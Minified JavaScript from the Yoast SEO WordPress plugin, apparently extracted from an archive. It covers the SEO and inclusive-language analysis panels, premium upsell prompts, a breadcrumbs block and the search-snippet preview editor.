(0,s.__)("Unlock with %s","wordpress-seo"),"Yoast SEO Premium"),upsellButton:{href:e.buyLink,className:"yoast-button-upsell",rel:null,"data-ctb-id":"f6a84663-465f-4cb5-8ba5-f7a6d72224b2","data-action":"load-nfd-ctb"},upsellButtonLabel:(0,s.__)("1 year free support and updates included!","wordpress-seo")});Vt.propTypes={buyLink:i().string.isRequired};const Qt=Vt,Zt=d().button`
	// Increase specificity to override WP rules.
	&& {
		display: flex;
		align-items: center;
	}

	.yoast-svg-icon {
		margin: 1px 7px 0 0;
		fill: currentColor;
	}
`,Jt={open:(0,s.__)("Open","wordpress-seo"),heading:"",closeIconButton:(0,s.__)("Close","wordpress-seo"),closeButton:""},Xt=e=>{const[s,r]=(0,l.useState)(!1),n=Object.assign({},Jt,e.labels),a=(0,l.useCallback)((()=>r(!1)),[]),i=(0,l.useCallback)((()=>r(!0)),[]);return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(Zt,{type:"button",onClick:i,className:`${e.classes.openButton} yoast-modal__button-open`},e.openButtonIcon&&(0,t.createElement)(o.SvgIcon,{icon:e.openButtonIcon,size:"13px"}),n.open),s&&(0,t.createElement)(he,{onRequestClose:a,className:e.className,title:n.heading},e.children))};Xt.propTypes={openButtonIcon:i().string,labels:i().shape({open:i().string,modalAriaLabel:i().string.isRequired,heading:i().string,closeIconButton:i().string,closeButton:i().string}).isRequired,classes:i().shape({openButton:i().string,closeIconButton:i().string,closeButton:i().string}),className:i().string,children:i().any.isRequired},Xt.defaultProps={className:ue,openButtonIcon:"",classes:{}};const es=Xt;function ts({location:e}){return(0,t.createElement)(r.Slot,{name:`yoast-synonyms-${e}`})}ts.propTypes={location:i().string.isRequired};const ss=d().span`
	font-size: 1em;
	font-weight: bold;
	margin: 1.5em 0 1em;
	display: block;
`;class rs extends l.Component{constructor(...e){super(...e),J(this,"renderAIFixesButton",((e,s)=>{const{isElementor:r,isAiFeatureEnabled:o}=this.props,n=Oe().isPremium;if(n&&!o)return;const a=document.body.classList.contains("elementor-editor-active"),i=!r&&!a;return e&&Te()&&i&&(0,t.createElement)(Ot,{id:s,isPremium:n})}))}renderSynonymsUpsell(e,r){const o={className:`${ue} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,classes:{openButton:"wpseo-keyword-synonyms button-link"},labels:{open:"+ "+(0,s.__)("Add synonyms","wordpress-seo"),modalAriaLabel:(0,s.__)("Add synonyms","wordpress-seo"),heading:(0,s.__)("Add synonyms","wordpress-seo")}},n=wpseoAdminL10n["sidebar"===e.toLowerCase()?"shortlinks.upsell.sidebar.focus_keyword_synonyms_button":"shortlinks.upsell.metabox.focus_keyword_synonyms_button"];return(0,t.createElement)(es,{...o},(0,t.createElement)(pe,null,(0,t.createElement)(Gt,{buyLink:(0,_.addQueryArgs)(n,{context:r})})))}renderMultipleKeywordsUpsell(e,r){const o={className:`${ue} yoast-gutenberg-modal__box yoast-gutenberg-modal__no-padding`,classes:{openButton:"wpseo-multiple-keywords button-link"},labels:{open:"+ "+(0,s.__)("Add related keyphrase","wordpress-seo"),modalAriaLabel:(0,s.__)("Add related keyphrases","wordpress-seo"),heading:(0,s.__)("Add related keyphrases","wordpress-seo")}},n=wpseoAdminL10n["sidebar"===e.toLowerCase()?"shortlinks.upsell.sidebar.focus_keyword_additional_button":"shortlinks.upsell.metabox.focus_keyword_additional_button"];return(0,t.createElement)(es,{...o},(0,t.createElement)(pe,null,(0,t.createElement)(Qt,{buyLink:(0,_.addQueryArgs)(n,{context:r})})))}renderWordFormsUpsell(e,s){let r="sidebar"===e?wpseoAdminL10n["shortlinks.upsell.sidebar.morphology_upsell_sidebar"]:wpseoAdminL10n["shortlinks.upsell.sidebar.morphology_upsell_metabox"];return r=(0,_.addQueryArgs)(r,{context:s}),(0,t.createElement)(Yt,{url:r,alignment:"sidebar"===e?"vertical":"horizontal"})}renderTabIcon(e,s){return"metabox"!==e?null:(0,t.createElement)(ae,{target:"wpseo-seo-score-icon",scoreIndicator:s})}getUpsellResults(e,t){let r=wpseoAdminL10n["shortlinks.upsell.metabox.keyphrase_distribution"];return"sidebar"===e&&(r=wpseoAdminL10n["shortlinks.upsell.sidebar.keyphrase_distribution"]),r=(0,_.addQueryArgs)(r,{context:t}),[{score:0,rating:"upsell",hasMarks:!1,hasJumps:!1,id:"keyphraseDistribution",text:(0,s.sprintf)(
/* Translators: %1$s is a span tag that adds styling to 'Keyphrase distribution', %2$s is a closing span tag.
     %3%s is an anchor tag with a link to yoast.com, %4$s is a closing anchor tag.*/
(0,s.__)("%1$sKeyphrase distribution%2$s: Have you evenly distributed your focus keyphrase throughout the whole text? %3$sYoast SEO Premium will tell you!%4$s","wordpress-seo"),"<span style='text-decoration: underline'>","</span>",`<a href="${r}" data-action="load-nfd-ctb" data-ctb-id="f6a84663-465f-4cb5-8ba5-f7a6d72224b2" target="_blank">`,"</a>"),markerId:"keyphraseDistribution"}]}render(){const e=Ie(this.props.overallScore),r=Oe().isPremium;return"loading"!==e.className&&""===this.props.keyword&&(e.className="na",e.screenReaderReadabilityText=(0,s.__)("Enter a focus keyphrase to calculate the SEO score","wordpress-seo")),(0,t.createElement)(x.LocationConsumer,null,(o=>(0,t.createElement)(x.RootContext.Consumer,null,(({locationContext:n})=>{const a="metabox"===o?y:w;let i=[];return this.props.shouldUpsell&&(i=this.getUpsellResults(o,n)),(0,t.createElement)(l.Fragment,null,(0,t.createElement)(a,{title:r?(0,s.__)("Premium SEO analysis","wordpress-seo"):(0,s.__)("SEO analysis","wordpress-seo"),titleScreenReaderText:e.screenReaderReadabilityText,prefixIcon:se(e.className),prefixIconCollapsed:se(e.className),subTitle:this.props.keyword,id:`yoast-seo-analysis-collapsible-${o}`},(0,t.createElement)(ts,{location:o}),this.props.shouldUpsell&&(0,t.createElement)(l.Fragment,null,this.renderSynonymsUpsell(o,n),this.renderMultipleKeywordsUpsell(o,n)),this.props.shouldUpsellWordFormRecognition&&this.renderWordFormsUpsell(o,n),(0,t.createElement)(ss,null,(0,s.__)("Analysis results","wordpress-seo")),(0,t.createElement)(Ae,{results:this.props.results,upsellResults:i,marksButtonClassName:"yoast-tooltip yoast-tooltip-w",editButtonClassName:"yoast-tooltip yoast-tooltip-w",marksButtonStatus:this.props.marksButtonStatus,location:o,shouldUpsellHighlighting:this.props.shouldUpsellHighlighting,highlightingUpsellLink:"shortlinks.upsell.sidebar.highlighting_seo_analysis",renderAIFixesButton:this.renderAIFixesButton})),this.renderTabIcon(o,e.className))}))))}}rs.propTypes={results:i().array,marksButtonStatus:i().string,keyword:i().string,shouldUpsell:i().bool,shouldUpsellWordFormRecognition:i().bool,overallScore:i().number,shouldUpsellHighlighting:i().bool,isElementor:i().bool,isAiFeatureEnabled:i().bool},rs.defaultProps={results:[],marksButtonStatus:null,keyword:"",shouldUpsell:!1,shouldUpsellWordFormRecognition:!1,overallScore:null,shouldUpsellHighlighting:!1,isElementor:!1,isAiFeatureEnabled:!1};const os=(0,k.withSelect)(((e,t)=>{const{getFocusKeyphrase:s,getMarksButtonStatus:r,getResultsForKeyword:o,getIsElementorEditor:n,getPreference:a}=e("yoast-seo/editor"),i=s();return{...o(i),marksButtonStatus:t.hideMarksButtons?"disabled":r(),keyword:i,isElementor:n(),isAiFeatureEnabled:a("isAiFeatureActive",!1)}}))(rs);function ns(){const e=Oe();return(0,A.get)(e,"multilingualPluginActive",!1)}const as=d().span`
	font-size: 1em;
	font-weight: bold;
	margin: 0 0 8px;
	display: block;
`,is=d().div`
	padding: 16px;
`,ls=d()(P)`
	margin: -8px 0 -4px 4px;
`,cs=d().p`
	min-height: 24px;
	margin: 12px 0 0 0;
	padding: 0;
	display: flex;
	align-items: flex-start;
`,ds=d()(o.SvgIcon)`
	margin: 3px 11px 0 0; // icon 13 + 11 right margin = 24 for the 8px grid.
`,ps=e=>{const r=wpseoAdminL10n["shortlinks.inclusive_language_analysis_info"];function n(){return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(as,null,(0,s.__)("Analysis results","wordpress-seo"),(0,t.createElement)(ls,{href:r,className:"dashicons"},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,s.__)("Learn more about the inclusive language analysis","wordpress-seo")))),(0,t.createElement)(Ae,{results:e.results,marksButtonClassName:"yoast-tooltip yoast-tooltip-w",marksButtonStatus:e.marksButtonStatus,resultCategoryLabels:{problems:(0,s.__)("Non-inclusive","wordpress-seo"),improvements:(0,s.__)("Potentially non-inclusive","wordpress-seo")},highlightingUpsellLink:"shortlinks.upsell.sidebar.highlighting_inclusive_analysis",shouldUpsellHighlighting:e.shouldUpsellHighlighting}))}const a=(0,l.createInterpolateElement)((0,s.sprintf)(/* Translators: %1$s expands to a link on yoast.com, %2$s expands to the anchor end tag. */
(0,s.__)("%1$sInclusive language%2$s: We haven't detected any potentially non-inclusive phrases. Great work!","wordpress-seo"),"<a>","</a>"),{a:(0,t.createElement)("a",{href:r,target:"_blank",rel:"noreferrer"})});function i(){const e=(0,s.__)("We noticed that you are using a multilingual plugin. Please be aware that this analysis feedback is intended only for texts written in English.","wordpress-seo");return(0,t.createElement)(o.Alert,{type:"info"},e)}function c(){return(0,t.createElement)(l.Fragment,null,(0,t.createElement)(as,null,(0,s.__)("Analysis results","wordpress-seo"),(0,t.createElement)(ls,{href:r,className:"dashicons"},(0,t.createElement)("span",{className:"screen-reader-text"},/* translators: Hidden accessibility text. */
(0,s.__)("Learn more about the inclusive language analysis","wordpress-seo")))),(0,t.createElement)(cs,null,(0,t.createElement)(ds,{icon:"circle",color:"#7ad03a",size:"13px"}),(0,t.createElement)("span",null,a)))}const d=Ie(e.overallScore);return(0,A.isNil)(e.overallScore)&&(d.className="loading"),(0,t.createElement)(x.LocationConsumer,null,(r=>{return"sidebar"===r?(o=e.results,a=d,(0,t.createElement)(w,{title:(0,s.__)("Inclusive language","wordpress-seo"),titleScreenReaderText:a.screenReaderInclusiveLanguageText,prefixIcon:se(a.className),prefixIconCollapsed:se(a.className),id:"yoast-inclusive-language-analysis-collapsible-sidebar"},ns()?i():null,o.length>=1?n():c())):"metabox"===r?function(e,s){return(0,t.createElement)(oe,{target:"wpseo-metabox-inclusive-language-root"},(0,t.createElement)(is,null,(0,t.createElement)(ae,{target:"wpseo-inclusive-language-score-icon",scoreIndicator:s.className}),ns()?i():null,e.length>=1?n():c()))}(e.results,d):void 0;var o,a}))};ps.propTypes={results:i().array,marksButtonStatus:i().oneOf(["enabled","disabled","hidden"]).isRequired,overallScore:i().number,shouldUpsellHighlighting:i().bool},ps.defaultProps={results:[],overallScore:null,shouldUpsellHighlighting:!1};const us=(0,k.withSelect)((e=>{const{getInclusiveLanguageResults:t,getMarkButtonStatus:s}=e("yoast-seo/editor");return{...t(),marksButtonStatus:s()}}))(ps);window.yoast=window.yoast||{},window.yoast.externals=window.yoast.externals||{},window.yoast.externals.components={CollapsibleCornerstone:f,KeywordInput:Q,ReadabilityAnalysis:Ut,SeoAnalysis:os,InclusiveLanguageAnalysis:us}})();wordpress-seo/js/dist/dynamic-blocks.js000064400000002020147510273070014174 0ustar00(()=>{"use strict";var e={n:t=>{var r=t&&t.__esModule?()=>t.default:()=>t;return e.d(r,{a:r}),r},d:(t,r)=>{for(var s in r)e.o(r,s)&&!e.o(t,s)&&Object.defineProperty(t,s,{enumerable:!0,get:r[s]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.React,r=window.wp.blockEditor,s=window.wp.blocks,o=window.wp.serverSideRender;var a=e.n(o);const n=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"version":"22.8","name":"yoast-seo/breadcrumbs","title":"Yoast Breadcrumbs","description":"Adds the Yoast SEO breadcrumbs to your template or content.","category":"yoast-internal-linking-blocks","icon":"admin-links","keywords":["SEO","breadcrumbs","internal linking","site structure"],"textdomain":"wordpress-seo","attributes":{"className":{"type":"string"}},"example":{"attributes":{}}}');(0,s.registerBlockType)(n,{edit:e=>{const s=(0,r.useBlockProps)();return(0,t.createElement)("div",{...s},(0,t.createElement)(a(),{block:"yoast-seo/breadcrumbs",attributes:e.attributes}))},save:()=>null})})();wordpress-seo/js/dist/externals/searchMetadataPreviews.js000064400000201666147510273070017756 0ustar00(()=>{var e={30888:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.YoastSlideToggle=void 0;var r=l(n(99196)),i=l(n(85890)),o=l(n(98487)),s=n(64317),a=n(90876);function l(e){return e&&e.__esModule?e:{default:e}}const d=o.default.div`
	& > :first-child {
		overflow: hidden;
		transition: height ${e=>`${e.duration}ms`} ease-out;
	}
`;class u extends r.default.Component{resetHeight(e){e.style.height="0"}setHeight(e){const t=(0,a.getHeight)(e);e.style.height=t+"px"}removeHeight(e){e.style.height=null}render(){return r.default.createElement(d,{duration:this.props.duration},r.default.createElement(s.CSSTransition,{in:this.props.isOpen,timeout:this.props.duration,classNames:"slide",unmountOnExit:!0,onEnter:this.resetHeight,onEntering:this.setHeight,onEntered:this.removeHeight,onExit:this.setHeight,onExiting:this.resetHeight},this.props.children))}}t.YoastSlideToggle=u,u.propTypes={isOpen:i.default.bool.isRequired,duration:i.default.number,children:i.default.node},u.defaultProps={duration:300,children:[]}},90876:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getHeight=function(e){return Math.max(e.clientHeight,e.offsetHeight,e.scrollHeight)}},76990:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getTitleProgress=t.getDescriptionProgress=void 0;var r=n(42982);t.getTitleProgress=e=>{const t=r.helpers.measureTextWidth(e),n=new r.assessments.seo.PageTitleWidthAssessment({scores:{widthTooShort:9}},!0),i=n.calculateScore(t);return{max:n.getMaximumLength(),actual:t,score:i}},t.getDescriptionProgress=(e,t,n,i,o)=>{const s=r.languageProcessing.countMetaDescriptionLength(t,e),a=n&&!i?new r.assessments.seo.MetaDescriptionLengthAssessment({scores:{tooLong:3,tooShort:3}}):new r.assessments.seo.MetaDescriptionLengthAssessment,l=a.calculateScore(s,o);return{max:a.getMaximumLength(o),actual:s,score:l}}},90695:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=function(e,t){if(e&&e.__esModule)return e;if(null===e||"object"!=typeof e&&"function"!=typeof e)return{default:e};var n=c(t);if(n&&n.has(e))return n.get(e);var r={__proto__:null},i=Object.defineProperty&&Object.getOwnPropertyDescriptor;for(var o in e)if("default"!==o&&Object.prototype.hasOwnProperty.call(e,o)){var s=i?Object.getOwnPropertyDescriptor(e,o):null;s&&(s.get||s.set)?Object.defineProperty(r,o,s):r[o]=e[o]}return r.default=e,n&&n.set(e,r),r}(n(99196)),i=p(n(98487)),o=n(65736),s=p(n(85890)),a=n(81413),l=n(23695),d=n(37188),u=n(99806);function p(e){return e&&e.__esModule?e:{default:e}}function c(e){if("function"!=typeof WeakMap)return null;var t=new WeakMap,n=new WeakMap;return(c=function(e){return e?n:t})(e)}const f=i.default.fieldset`
	border: 0;
	padding: 0;
	margin: 0 0 16px;
`,h=i.default.legend`
	margin: 8px 0;
	padding: 0;
	color: ${d.colors.$color_headings};
	font-size: 14px;
	font-weight: 600;
`,g=(0,i.default)(a.Label)`
	${(0,l.getDirectionalStyle)("margin-right: 16px","margin-left: 16px")};
	color: inherit;
	font-size: 14px;
	line-height: 1.71428571;
	cursor: pointer;
	/* Helps RTL in Chrome */
	display: inline-block;
`,m=(0,i.default)(a.Input)`
	&& {
		${(0,l.getDirectionalStyle)("margin: 0 8px 0 0","margin: 0 0 0 8px")};
		cursor: pointer;
	}
`;class v extends r.Component{constructor(e){super(e),this.switchToMobile=this.props.onChange.bind(this,"mobile"),this.switchToDesktop=this.props.onChange.bind(this,"desktop")}render(){const{active:e,mobileModeInputId:t,desktopModeInputId:n}=this.props,i=t.length>0?t:"yoast-google-preview-mode-mobile",s=n.length>0?n:"yoast-google-preview-mode-desktop";return r.default.createElement(f,null,r.default.createElement(h,null,(0,o.__)("Preview as:","wordpress-seo")),r.default.createElement(m,{onChange:this.switchToMobile,type:"radio",name:"screen",value:"mobile",optionalAttributes:{id:i,checked:e===u.MODE_MOBILE}}),r.default.createElement(g,{for:i},(0,o.__)("Mobile result","wordpress-seo")),r.default.createElement(m,{onChange:this.switchToDesktop,type:"radio",name:"screen",value:"desktop",optionalAttributes:{id:s,checked:e===u.MODE_DESKTOP}}),r.default.createElement(g,{for:s},(0,o.__)("Desktop result","wordpress-seo")))}}v.propTypes={onChange:s.default.func.isRequired,active:s.default.oneOf(u.MODES),mobileModeInputId:s.default.string,desktopModeInputId:s.default.string},v.defaultProps={active:u.MODE_MOBILE,mobileModeInputId:"",desktopModeInputId:""},t.default=v},24861:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=b(n(98487)),i=b(n(99196)),o=b(n(85890)),s=n(65736),a=n(92819),l=n(42982),d=n(81413),u=n(37188),p=n(23695),c=n(10224),f=n(76990),h=n(99806),g=b(n(64475)),m=b(n(17582)),v=n(95157),E=b(n(90695));function b(e){return e&&e.__esModule?e:{default:e}}function y(){return y=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},y.apply(this,arguments)}const x=r.default.legend`
	margin: 0 0 16px;
	padding: 0;
	color: ${u.colors.$color_headings};
	font-size: 12px;
	font-weight: 300;
`,w=(0,r.default)(d.Button)`
	height: 33px;
	border: 1px solid #dbdbdb;
	box-shadow: none;
	font-family: Arial, Roboto-Regular, HelveticaNeue, sans-serif;
`,_=(0,r.default)(w)`
	margin: ${(0,p.getDirectionalStyle)("10px 0 0 4px","10px 4px 0 0")};
	fill: ${u.colors.$color_grey_dark};
	padding-left: 8px;

	& svg {
		${(0,p.getDirectionalStyle)("margin-right","margin-left")}: 7px;
	}
`,M=(0,r.default)(w)`
	margin-top: 24px;
`,S=new RegExp("(%%sep%%|%%sitename%%)","g");class O extends i.default.Component{constructor(e){super(e);const t=this.mapDataToMeasurements(e.data);this.state={isOpen:!e.showCloseButton,activeField:null,hoveredField:null,titleLengthProgress:(0,f.getTitleProgress)(t.filteredSEOTitle),descriptionLengthProgress:(0,f.getDescriptionProgress)(t.description,this.props.date,this.props.isCornerstone,this.props.isTaxonomy,this.props.locale)},this.setFieldFocus=this.setFieldFocus.bind(this),this.unsetFieldFocus=this.unsetFieldFocus.bind(this),this.onChangeMode=this.onChangeMode.bind(this),this.onMouseUp=this.onMouseUp.bind(this),this.onMouseEnter=this.onMouseEnter.bind(this),this.onMouseLeave=this.onMouseLeave.bind(this),this.open=this.open.bind(this),this.close=this.close.bind(this),this.setEditButtonRef=this.setEditButtonRef.bind(this),this.handleChange=this.handleChange.bind(this),this.haveReplaceVarsChanged=this.haveReplaceVarsChanged.bind(this)}shallowCompareData(e,t){let n=!1;return e.data.description===t.data.description&&e.data.slug===t.data.slug&&e.data.title===t.data.title&&e.isCornerstone===t.isCornerstone&&e.isTaxonomy===t.isTaxonomy&&e.locale===t.locale||(n=!0),this.haveReplaceVarsChanged(e.replacementVariables,t.replacementVariables)&&(n=!0),n}haveReplaceVarsChanged(e,t){return JSON.stringify(e)!==JSON.stringify(t)}componentDidUpdate(e){if(this.shallowCompareData(this.props,e)){const e=this.mapDataToMeasurements(this.props.data,this.props.replacementVariables);this.setState({titleLengthProgress:(0,f.getTitleProgress)(e.filteredSEOTitle),descriptionLengthProgress:(0,f.getDescriptionProgress)(e.description,this.props.date,this.props.isCornerstone,this.props.isTaxonomy,this.props.locale)}),this.props.onChangeAnalysisData(e)}}handleChange(e,t){this.props.onChange(e,t);const n=this.mapDataToMeasurements({...this.props.data,[e]:t});this.props.onChangeAnalysisData(n)}renderEditor(){const{data:e,descriptionEditorFieldPlaceholder:t,onReplacementVariableSearchChange:n,replacementVariables:r,recommendedReplacementVariables:o,hasPaperStyle:a,showCloseButton:l,idSuffix:d}=this.props,{activeField:u,hoveredField:c,isOpen:f,titleLengthProgress:h,descriptionLengthProgress:g}=this.state;return f?i.default.createElement(i.default.Fragment,null,i.default.createElement(m.default,{data:e,activeField:u,hoveredField:c,onChange:this.handleChange,onFocus:this.setFieldFocus,onBlur:this.unsetFieldFocus,onReplacementVariableSearchChange:n,replacementVariables:r,recommendedReplacementVariables:o,titleLengthProgress:h,descriptionLengthProgress:g,descriptionEditorFieldPlaceholder:t,containerPadding:a?"0 20px":"0",titleInputId:(0,p.join)(["yoast-google-preview-title",d]),slugInputId:(0,p.join)(["yoast-google-preview-slug",d]),descriptionInputId:(0,p.join)(["yoast-google-preview-description",d])}),l&&i.default.createElement(M,{onClick:this.close},(0,s.__)("Close snippet editor","wordpress-seo"))):null}setFieldFocus(e){e=this.mapFieldToEditor(e),this.setState({activeField:e})}unsetFieldFocus(){this.setState({activeField:null})}onChangeMode(e){this.props.onChange("mode",e)}onMouseUp(e){this.state.isOpen?this.setFieldFocus(e):this.open().then(this.setFieldFocus.bind(this,e))}onMouseEnter(e){this.setState({hoveredField:this.mapFieldToEditor(e)})}onMouseLeave(){this.setState({hoveredField:null})}open(){return new Promise((e=>{this.setState({isOpen:!0},e)}))}close(){this.setState({isOpen:!1,activeField:null},(()=>{this._editButton.focus()}))}processReplacementVariables(e,t=this.props.replacementVariables){if(this.props.applyReplacementVariables)return this.props.applyReplacementVariables(e);for(const{name:n,value:r}of t)e=e.replace(new RegExp("%%"+(0,a.escapeRegExp)(n)+"%%","g"),r);return e}mapDataToMeasurements(e,t=this.props.replacementVariables){const{baseUrl:n,mapEditorDataToPreview:r}=this.props;let i=this.processReplacementVariables(e.description,t);i=l.languageProcessing.stripSpaces(i);const o=n.replace(/^https?:\/\//i,""),s=e.title.replace(S,""),a={title:this.processReplacementVariables(e.title,t),url:n+e.slug,description:i,filteredSEOTitle:this.processReplacementVariables(s,t)};return r?r(a,{shortenedBaseUrl:o}):a}mapDataToPreview(e){return{title:e.title,url:e.url,description:e.description}}mapFieldToPreview(e){return"slug"===e&&(e="url"),e}mapFieldToEditor(e){return"url"===e&&(e="slug"),e}setEditButtonRef(e){this._editButton=e}render(){const{data:e,mode:t,date:n,locale:r,keyword:o,wordsToHighlight:a,showCloseButton:l,faviconSrc:u,mobileImageSrc:c,idSuffix:f,shoppingData:h,siteName:m}=this.props,{activeField:v,hoveredField:b,isOpen:w}=this.state,M=this.mapDataToMeasurements(e),S=this.mapDataToPreview(M);return i.default.createElement(d.ErrorBoundary,null,i.default.createElement("div",null,i.default.createElement(x,null,(0,s.__)("Determine how your post should look in the search results.","wordpress-seo")),i.default.createElement(E.default,{onChange:this.onChangeMode,active:t,mobileModeInputId:(0,p.join)(["yoast-google-preview-mode-mobile",f]),desktopModeInputId:(0,p.join)(["yoast-google-preview-mode-desktop",f])}),i.default.createElement(g.default,y({keyword:o,wordsToHighlight:a,mode:t,date:n,siteName:m,activeField:this.mapFieldToPreview(v),hoveredField:this.mapFieldToPreview(b),onMouseEnter:this.onMouseEnter,onMouseLeave:this.onMouseLeave,onMouseUp:this.onMouseUp,locale:r,faviconSrc:u,mobileImageSrc:c,shoppingData:h},S)),l&&i.default.createElement(_,{onClick:w?this.close:this.open,"aria-expanded":w,ref:this.setEditButtonRef},i.default.createElement(d.SvgIcon,{icon:"edit"}),(0,s.__)("Edit snippet","wordpress-seo")),this.renderEditor()))}}O.propTypes={onReplacementVariableSearchChange:o.default.func,replacementVariables:c.replacementVariablesShape,recommendedReplacementVariables:c.recommendedReplacementVariablesShape,data:o.default.shape({title:o.default.string.isRequired,slug:o.default.string.isRequired,description:o.default.string.isRequired}).isRequired,descriptionEditorFieldPlaceholder:o.default.string,baseUrl:o.default.string.isRequired,mode:o.default.oneOf(h.MODES),date:o.default.string,onChange:o.default.func.isRequired,onChangeAnalysisData:o.default.func,titleLengthProgress:v.lengthProgressShape,descriptionLengthProgress:v.lengthProgressShape,applyReplacementVariables:o.default.func,mapEditorDataToPreview:o.default.func,keyword:o.default.string,wordsToHighlight:o.default.array,locale:o.default.string,hasPaperStyle:o.default.bool,showCloseButton:o.default.bool,faviconSrc:o.default.string,mobileImageSrc:o.default.string,idSuffix:o.default.string,shoppingData:o.default.object,isCornerstone:o.default.bool,isTaxonomy:o.default.bool,siteName:o.default.string.isRequired},O.defaultProps={mode:h.DEFAULT_MODE,date:"",wordsToHighlight:[],onReplacementVariableSearchChange:null,replacementVariables:[],recommendedReplacementVariables:[],titleLengthProgress:{max:600,actual:0,score:0},descriptionLengthProgress:{max:156,actual:0,score:0},applyReplacementVariables:null,mapEditorDataToPreview:null,keyword:"",locale:"en",descriptionEditorFieldPlaceholder:"",onChangeAnalysisData:a.noop,hasPaperStyle:!0,showCloseButton:!0,faviconSrc:"",mobileImageSrc:"",idSuffix:"",shoppingData:{},isCornerstone:!1,isTaxonomy:!1},t.default=O},17582:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=void 0;var r=c(n(99196)),i=c(n(98487)),o=c(n(85890)),s=c(n(12049)),a=n(65736),l=n(37188),d=n(10224),u=n(81413),p=n(95157);function c(e){return e&&e.__esModule?e:{default:e}}const f=i.default.input`
	border: none;
	width: 100%;
	height: inherit;
	line-height: 1.71428571; // 24px based on 14px font-size
	font-family: inherit;
	font-size: inherit;
	color: inherit;

	&:focus {
		outline: 0;
	}
`,h=(0,l.withCaretStyles)(u.VariableEditorInputContainer);class g extends r.default.Component{constructor(e){super(e),this.elements={title:null,slug:null,description:null},this.uniqueId=(0,s.default)("snippet-editor-field-"),this.setRef=this.setRef.bind(this),this.setTitleRef=this.setTitleRef.bind(this),this.setSlugRef=this.setSlugRef.bind(this),this.setDescriptionRef=this.setDescriptionRef.bind(this),this.triggerReplacementVariableSuggestions=this.triggerReplacementVariableSuggestions.bind(this),this.onFocusTitle=this.onFocusTitle.bind(this),this.onChangeTitle=this.onChangeTitle.bind(this),this.onFocusSlug=this.onFocusSlug.bind(this),this.focusSlug=this.focusSlug.bind(this),this.onChangeSlug=this.onChangeSlug.bind(this),this.onFocusDescription=this.onFocusDescription.bind(this),this.onChangeDescription=this.onChangeDescription.bind(this)}setRef(e,t){this.elements[e]=t}setTitleRef(e){this.setRef("title",e)}setSlugRef(e){this.setRef("slug",e)}setDescriptionRef(e){this.setRef("description",e)}componentDidUpdate(e){e.activeField!==this.props.activeField&&this.focusOnActiveFieldChange()}focusOnActiveFieldChange(){const{activeField:e}=this.props,t=e?this.elements[e]:null;t&&t.focus()}triggerReplacementVariableSuggestions(e){this.elements[e].triggerReplacementVariableSuggestions()}onFocusTitle(){this.props.onFocus("title")}onChangeTitle(e){this.props.onChange("title",e)}onFocusSlug(){this.props.onFocus("slug")}focusSlug(){this.elements.slug.focus()}onChangeSlug(e){this.props.onChange("slug",e.target.value)}onFocusDescription(){this.props.onFocus("description")}onChangeDescription(e){this.props.onChange("description",e)}render(){const{activeField:e,hoveredField:t,onReplacementVariableSearchChange:n,replacementVariables:i,recommendedReplacementVariables:o,titleLengthProgress:s,descriptionLengthProgress:l,onBlur:p,descriptionEditorFieldPlaceholder:c,data:{title:g,slug:m,description:v},containerPadding:E,titleInputId:b,slugInputId:y,descriptionInputId:x}=this.props,w=`${this.uniqueId}-slug`;return r.default.createElement(d.StyledEditor,{padding:E},r.default.createElement(d.ReplacementVariableEditor,{withCaret:!0,label:(0,a.__)("SEO title","wordpress-seo"),onFocus:this.onFocusTitle,onBlur:p,isActive:"title"===e,isHovered:"title"===t,editorRef:this.setTitleRef,replacementVariables:i,recommendedReplacementVariables:o,content:g,onChange:this.onChangeTitle,onSearchChange:n,fieldId:b,type:"title"}),r.default.createElement(u.ProgressBar,{max:s.max,value:s.actual,progressColor:this.getProgressColor(s.score)}),r.default.createElement(u.SimulatedLabel,{id:w,onClick:this.onFocusSlug},(0,a.__)("Slug","wordpress-seo")),r.default.createElement(h,{onClick:this.focusSlug,isActive:"slug"===e,isHovered:"slug"===t},r.default.createElement(f,{value:m,onChange:this.onChangeSlug,onFocus:this.onFocusSlug,onBlur:p,ref:this.setSlugRef,"aria-labelledby":this.uniqueId+"-slug",id:y})),r.default.createElement(d.ReplacementVariableEditor,{withCaret:!0,type:"description",placeholder:c,label:(0,a.__)("Meta description","wordpress-seo"),onFocus:this.onFocusDescription,onBlur:p,isActive:"description"===e,isHovered:"description"===t,editorRef:this.setDescriptionRef,replacementVariables:i,recommendedReplacementVariables:o,content:v,onChange:this.onChangeDescription,onSearchChange:n,fieldId:x}),r.default.createElement(u.ProgressBar,{max:l.max,value:l.actual,progressColor:this.getProgressColor(l.score)}))}getProgressColor(e){return e>=7?l.colors.$color_good:e>=5?l.colors.$color_ok:l.colors.$color_bad}}g.propTypes={replacementVariables:d.replacementVariablesShape,recommendedReplacementVariables:d.recommendedReplacementVariablesShape,onChange:o.default.func.isRequired,onFocus:o.default.func,onBlur:o.default.func,onReplacementVariableSearchChange:o.default.func,data:o.default.shape({title:o.default.string.isRequired,slug:o.default.string.isRequired,description:o.default.string.isRequired}).isRequired,activeField:o.default.oneOf(["title","slug","description"]),hoveredField:o.default.oneOf(["title","slug","description"]),titleLengthProgress:p.lengthProgressShape,descriptionLengthProgress:p.lengthProgressShape,descriptionEditorFieldPlaceholder:o.default.string,containerPadding:o.default.string,titleInputId:o.default.string,slugInputId:o.default.string,descriptionInputId:o.default.string},g.defaultProps={replacementVariables:[],recommendedReplacementVariables:[],onFocus:()=>{},onBlur:()=>{},onReplacementVariableSearchChange:null,activeField:null,hoveredField:null,titleLengthProgress:{max:600,actual:0,score:0},descriptionLengthProgress:{max:156,actual:0,score:0},descriptionEd